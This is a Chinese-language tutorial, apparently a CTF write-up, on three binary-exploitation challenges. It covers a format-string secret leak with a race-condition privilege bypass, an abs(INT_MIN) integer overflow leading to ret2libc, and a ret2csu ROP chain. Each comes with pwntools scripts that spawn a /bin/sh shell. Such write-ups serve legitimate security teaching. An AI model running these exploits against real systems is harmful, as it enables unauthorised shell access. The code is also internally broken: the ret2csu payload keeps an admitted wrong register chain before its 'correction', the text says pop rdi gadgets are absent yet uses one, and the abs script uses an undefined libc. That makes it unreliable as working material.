玄机pwn--webpwn、abs64.ret2csu
字数 2947
更新时间 2026-03-07 10:52:08
二进制安全攻防教学:玄机平台Pwn题解(WebPwn、abs、CSU)
教学目标
本教学文档旨在详细解析阿里云先知社区发布的《玄机pwn--webpwn、abs64.ret2csu》文章中涉及的三个二进制安全挑战(Pwn)的核心原理、利用思路与解题技巧。读者将系统学习Web服务二进制漏洞、整数溢出、以及高级ROP链构造等知识。
第一题:ezpwn (WebPwn挑战)
1. 目标程序分析
这是一个带有网络后端的服务器程序(server)。客户端通过连接本地1337端口进行交互。
- 监听端口: 1337
- 关键结构体:程序使用一个自定义的
Session结构体来管理每个会话,包含认证状态、权限标志和密钥等。
typedef struct Session {
int32_t fd; // 0x00 socket文件描述符
int32_t can_cat; // 0x04 权限标志,/tmp/priv.list文件中若包含"cat"则置1
int32_t authed; // 0x08 认证成功标志
char message[64]; // 0x0C
char secret[24]; // 0x4C 存储16-23字节的密钥
} Session;
2. 漏洞与利用思路
本题为综合性挑战,结合了格式化字符串漏洞、权限绕过和竞态条件。
-
格式化字符串漏洞: 程序的
check命令存在格式化字符串漏洞,可泄露内存信息。- 命令格式:
check [letter],程序会输出[DEBUG] message address: 0x...,此处泄露的地址是Session结构体中message字段的地址。 - 通过计算,
secret(密钥)的地址位于message地址下方+0x40偏移处。
- 命令格式:
-
认证绕过:
- 密钥生成: 密钥基于
time(0) ^ getpid()作为种子,用srand()初始化,rand()生成。但服务器启动时会打印密钥及其地址,在远程利用中不可预测,需通过漏洞泄露。 - 泄露密钥: 利用
debug命令配合格式化字符串%p和%s来泄露secret字段的内容。由于存在栈对齐和传参问题,需要精确控制格式化字符串的偏移量(文中通过调试确定为第139个参数)。 - 认证: 使用
auth [secret]命令,其中secret为泄露出的密钥字符串,认证成功后ctx->authed被置1,解锁write功能。
- 密钥生成: 密钥基于
-
最终提权(Cat Flag):
- 认证后,拥有
write权限,但cat flag命令仍被can_cat标志位限制。 - 利用竞态条件:程序是多线程的。在通过认证的会话中,可以尝试写入或操作
/tmp/priv.list文件(该文件控制can_cat标志)。通过多线程竞争,在服务器检查权限和实际执行cat命令的极短时间窗口内,将cat字符串写入特权文件,从而临时获得cat命令的执行权限,最终读取flag。
- 认证后,拥有
3. 漏洞利用脚本(EXP)核心步骤
from pwn import *
# 1. 连接与初始化
p = remote('0.0.0.0', 1337)
context.arch = 'amd64'
# 2. 获取message地址,计算secret地址
p.sendlineafter(b'> ', b'check B')
p.recvuntil(b'message address: ')
msg_addr = int(p.recv(14), 16)
secret_addr = msg_addr + 0x40
# 3. 利用格式化字符串泄露secret
# 构造payload: 用多个%p定位栈,最后用%s读取secret_addr处的字符串
payload = b'debug '
payload += b'%p' * 185 # 填充至控制目标参数
payload += b'%s@@@@@@' # 用%s读取字符串,@@@@@@用于对齐
payload += p64(secret_addr) # 将secret_addr作为地址写入栈
p.sendlineafter(b'> ', payload)
# 接收并处理泄露的密码
secret = p.recvline().strip().split(b'@@@@@@')[0] # 可能需要根据输出调整切片
# 4. 认证 (注意可能存在的末尾换行符问题)
p.sendlineafter(b'> ', b'auth ' + secret.rstrip())
# 5. 利用竞态条件执行cat flag
# ... (后续需要编写多线程竞争代码,在特定时机写入/tmp/priv.list并执行cat)
# 示例思路:一个线程循环写入"cat"到文件,另一个线程循环尝试执行"cat flag"
第二题:abs (整数溢出挑战)
1. 目标程序与漏洞
程序源码核心如下:
int get_size() {
int size;
scanf("%d", &size);
size = abs(size); // 关键点:对输入取绝对值
return (size % 0x30) & 0xff; // 对48取模,并只返回低字节
}
int main() {
char buf[0x30]; // 缓冲区大小48字节
int size = get_size();
read(0, buf, size); // 使用get_size()的返回值作为read的长度参数
puts(buf);
}
- 漏洞原理: 经典的
abs(INT_MIN)整数溢出漏洞。 - 数学背景:
- 32位有符号整数
int的范围是-2147483648 (INT_MIN)到2147483647 (INT_MAX)。 abs(INT_MIN)的数学结果是2147483648,超出了INT_MAX,在补码运算中会发生溢出,结果仍然是INT_MIN(即0x80000000)。
- 32位有符号整数
- 漏洞触发:
- 输入
size = -2147483648 (INT_MIN)。 abs(INT_MIN)结果仍为-2147483648。(-2147483648 % 48)在C语言中(商向0取整)结果为-32。(-32) & 0xff结果为224(即0xE0)。
- 输入
- 后果:
read(0, buf, 224),而buf大小仅48字节,导致栈缓冲区溢出。
2. 利用思路
- 触发溢出:发送
-2147483648作为size。 - 利用溢出:由于程序关闭了栈保护(
-fno-stack-protector)和PIE(-no-pie),可直接覆盖返回地址,进行ret2libc攻击。 - 泄露Libc地址:通过溢出,构造ROP链调用
puts打印GOT表中某个函数(如read)的地址,从而计算libc基址。 - 获取Shell:根据libc版本计算
system和字符串/bin/sh的地址,第二次溢出执行system("/bin/sh")。
3. 漏洞利用脚本框架
from pwn import *
io = process('./abs')
elf = ELF('./abs')
# 触发漏洞
io.sendlineafter(b'please input you input size\n', str(-2147483648).encode())
# 构造ROP链泄露libc地址
pop_rdi = 0x4012c3 # 示例gadget地址
payload = b'A' * (0x30 + 8) # 填充buf和rbp
payload += p64(pop_rdi)
payload += p64(elf.got['puts'])
payload += p64(elf.plt['puts'])
payload += p64(elf.sym['main']) # 返回到main函数进行二次溢出
io.send(payload)
# 接收泄露的地址,计算libc基址
leaked_puts = u64(io.recvline().strip().ljust(8, b'\x00'))
libc_base = leaked_puts - libc.sym['puts'] # 需事先知道或获取libc版本
# 第二次溢出,执行system("/bin/sh")
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
payload2 = b'A' * (0x30 + 8)
payload2 += p64(pop_rdi)
payload2 += p64(binsh_addr)
payload2 += p64(system_addr)
io.sendlineafter(b'size\n', str(-2147483648).encode())
io.send(payload2)
io.interactive()
第三题:KROP2 (基本ROP与CSU利用)
1. 目标程序与漏洞
程序源码极其简单:
int main() {
char buf[32];
read(0, buf, 0x100u); // 明显的栈溢出,可读取0x100字节到32字节的buf中
puts(buf);
return 0;
}
- 漏洞:明显的栈缓冲区溢出,
read允许读取最多0x100 (256)字节数据到仅32字节的buf中。 - 防护:题目未提供libc,但程序本身提供了
system函数的PLT地址,缺/bin/sh字符串。
2. 利用思路:ret2csu
由于缺乏直接的pop rdi; ret等gadget,文章采用了__libc_csu_init中的通用gadget(ret2csu)来构造任意函数调用。
-
__libc_csu_initGadgets:- csu_pop (地址如
0x4012BA): 可弹出rbx, rbp, r12, r13, r14, r15,为后续调用准备参数。 - csu_call (地址如
0x4012A0): 可调用[r12 + rbx*8]指向的函数,参数为rdx=r15, rsi=r14, edi=r13d。
- csu_pop (地址如
-
利用步骤:
- 第一次csu调用 - 写入
/bin/sh:- 利用
csu_pop设置寄存器,调用read函数(从elf.got['read']获取地址)。 - 参数:
rdi=0 (stdin), rsi=bss_addr (目标地址), rdx=0x10 (长度),将字符串/bin/sh读取到bss段。
- 利用
- 第二次csu调用 - 执行
system:- 在bss段写入
/bin/sh后,通过pop rdi; retgadget设置rdi = bss_addr(/bin/sh字符串地址)。 - 调用
system的PLT地址。
- 在bss段写入
- 第一次csu调用 - 写入
3. 漏洞利用脚本
from pwn import *
io = process('./ROP2')
elf = ELF('./ROP2')
bss_addr = 0x404a00 # BSS段地址
# 1. 构造溢出payload
payload = b'A' * 0x28 # 填充 32(buf) + 8(rbp)
# 2. 第一次csu调用:使用read向bss段写入"/bin/sh\x00"
csu_pop = 0x4012BA
csu_call = 0x4012A0
payload += p64(csu_pop)
payload += p64(0) # rbx
payload += p64(1) # rbp,控制循环
payload += p64(0) # r12 (占位,实际用不到call)
payload += p64(bss_addr) # r13 -> edi (实际上read的fd=0由rdi控制,这里用pop_rdi更好,但演示csu)
payload += p64(0x10) # r14 -> rsi (长度)
payload += p64(elf.got['read']) # r15 -> rdx (函数地址,此处有误,应为rdx的值,实际是r12存放函数地址)
# 更正:上述寄存器对应有误。标准csu利用中:
# r12 -> 被调用函数地址
# r13 -> edi (第一个参数)
# r14 -> rsi (第二个参数)
# r15 -> rdx (第三个参数)
# 因此正确构造应为:
payload += p64(csu_pop)
payload += p64(0) # rbx
payload += p64(1) # rbp
payload += p64(elf.got['read']) # r12 -> 函数地址: read
payload += p64(0) # r13 -> edi: fd = 0 (stdin)
payload += p64(bss_addr) # r14 -> rsi: buf = bss_addr
payload += p64(0x10) # r15 -> rdx: count = 0x10
payload += p64(csu_call) # 执行 call [r12+rbx*8]
payload += b'B'*0x38 # 填充csu_pop后的栈空间
# 3. 返回到pop_rdi; ret; 然后调用system
pop_rdi = 0x4012c3
payload += p64(pop_rdi)
payload += p64(bss_addr) # rdi = "/bin/sh"地址
payload += p64(elf.plt['system']) # 调用system
io.send(payload)
# 4. 发送"/bin/sh\x00"字符串
io.send(b'/bin/sh\x00')
io.interactive()
注: 上述EXP中寄存器设置部分根据原文描述进行了调整,实际利用时需根据二进制文件中gadlet的具体指令确认寄存器对应关系。原文EXP可能存在笔误。
知识点总结
- 格式化字符串漏洞:利用
%p泄露地址,%s泄露字符串,需精确计算参数在栈上的偏移。 - 整数溢出:理解
abs(INT_MIN)在补码下的行为,以及如何利用其对取模运算的影响,实现长度参数的恶意扩大。 - 高级ROP技术 (ret2csu):在gadget稀缺时,利用
__libc_csu_init尾声部分的通用gadget控制rdi, rsi, rdx寄存器并调用任意函数。 - 竞态条件 (TOCTOU):在多线程/多进程环境中,利用检查(Time-Of-Check)和使用(Time-Of-Use)之间的时间窗口进行权限提升。
- 二进制分析基础:IDA Pro逆向、结构体还原、动态调试(GDB/Pwndbg)确定偏移和地址。
通过系统学习以上三题,可以掌握从基础栈溢出到综合性网络服务漏洞利用的完整知识链。
相似文章
相似文章